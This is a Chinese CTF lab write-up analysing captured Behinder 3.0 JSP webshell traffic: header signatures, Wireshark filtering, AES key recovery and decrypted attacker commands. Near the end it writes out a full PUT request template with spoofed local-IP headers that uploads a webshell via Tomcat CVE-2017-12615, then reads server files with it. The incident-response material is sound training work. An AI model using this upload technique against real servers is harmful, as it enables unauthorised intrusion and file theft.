冰蝎 3.0 JSP Webshell 流量特征分析与实战
冰蝎 3.0 Webshell 的流量特征,包括 Content-Type、User-Agent 等 HTTP 头信息。通过 Wireshark 抓包分析,演示了如何识别黑客上传的 JSP 文件、获取解密 Key、还原执行的命令及文件内容。结合 CTF 靶场环境,展示了从流量筛选到最终获取 Flag 的完整流程,涉及 PUT 方法漏洞利用与 AES 加密解密技术。

冰蝎 3.0 Webshell 的流量特征,包括 Content-Type、User-Agent 等 HTTP 头信息。通过 Wireshark 抓包分析,演示了如何识别黑客上传的 JSP 文件、获取解密 Key、还原执行的命令及文件内容。结合 CTF 靶场环境,展示了从流量筛选到最终获取 Flag 的完整流程,涉及 PUT 方法漏洞利用与 AES 加密解密技术。

Content-Type 固定为 application/octet-stream,属于强特征。
User-Agent 头,通信时会随机挑选一个,但大多为老旧浏览器或罕见设备头。如果同一 IP 频繁变换 UA 且为这 16 个之一,可以高度怀疑是冰蝎。Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2 或类似值,Cache-Control 和 Pragma 常设为 no-cache,表示直接从源服务器获取最新的响应,这些是冰蝎流量默认带的 HTTP 头,普通业务流量较少见。


先用 wireshark 语法筛选出 http 流量。

快速分析一遍流量,大部分都是 404,说明黑客正在进行目录扫描。拉到最后那里可以看到有个异常流量,通过PUT 方法上传了 indeX.jsp 文件,且在请求头中伪造了多个指向本地地址的字段(如 X-Forwarded-For),这种组合是典型的攻击特征,由此可判定该请求为攻击者发起的恶意文件上传行为。

因此黑客 IP 就是 192.168.31.61。
flag{192.168.31.61}
继续分析流量包,可以看到攻击者通过 POST 数据包与 indeX.jsp 进行通信,且响应内容为加密数据。

因此 webshell 名就是这个文件。
flag{indeX.jsp}
找到刚才黑客通过PUT 方法上传的文件直接查看时间即可。

flag{2025-02-22 07:47:38}
同样也是 PUT 方法的那个流量包,右键追踪 HTTP 流。
可以看到黑客上传的内容,具体利用的漏洞是 Tomcat 通过 PUT 方法进行任意文件写入(CVE-2017-12615),感兴趣的可以网上了解一下。

可以看到木马连接密码就在文件内容当中,长度为 16 字节(128 位),一般用于 AES 对称加密。
flag{3f0af7bb4dbcfbd7}
已知黑客是通过 POST 与 indeX.jsp 进行通信,我们修改 wireshark 语法搜索包含 indeX.jsp 的流量。
http contains "indeX.jsp"

然后复制请求体 data 内容的ASCII 值,如图所示。

这里使用解密工具,把复制的数据和之前得到的密钥放进去解密。

可能受环境影响,显示有点问题,不过内容还是可以看得懂。经过分析,前面几个数据包是冰蝎用于连接用的,分析到第四个时可以看到黑客执行的命令。


因此黑客执行的第一个命令是 ifconfig。
flag{ifconfig}
继续分析,发现长度为 362 的流量记录了创建文件的命令。


4ZmxhZ3s0ODUzNzViN2IwNmFkODU2YTc4OGMwZDk1MjI5ZjM1Y30=
但是解码后得到一堆乱码,那只能登进目标服务器查看对应文件内容了。
题目没有给出对应的服务器账号密码,需要我们渗透进去,那我们可以仿照前面黑客 PUT 上传文件的方法,用抓包工具修改发包。
先自己随便选一个协议,生成服务端。

然后复制生成的 jsp 代码,粘贴到 body 中,同时修改请求体信息与之前黑客 PUT 上传的内容一样。
PUT /6.jsp/ HTTP/1.1 Host: 你的玄机靶机地址:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 782 你的冰蝎 jsp 代码
然后发包即可,状态码显示 201 表示成功。

在冰蝎连接 webshell,根据你之前选的协议选择对应的类别即可。

连接后在文件管理处,找到 /home/xj/up.txt,打开文件查看内容,成功拿到 flag。


flag{485375b7b06ad856a788c0d95229f35c}
继续分析流量包,分析到最后一个请求包时发现有黑客执行下载文件的命令。


对应路径为 /opt/apache-tomcat-8.5.19/conf/server.xml,用冰蝎查看对应文件,成功找到 flag。

当然也可以查看对应的响应包,同样也给出了 flag。

flag{3aacab9ca36a6894c75048e4faf47052}
用冰蝎在服务器内找就可以,最终发现 flag 在 /root/flag.txt 里面。

flag{ae1d04dd3d15c6a18f904fe50fdf7eca}

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online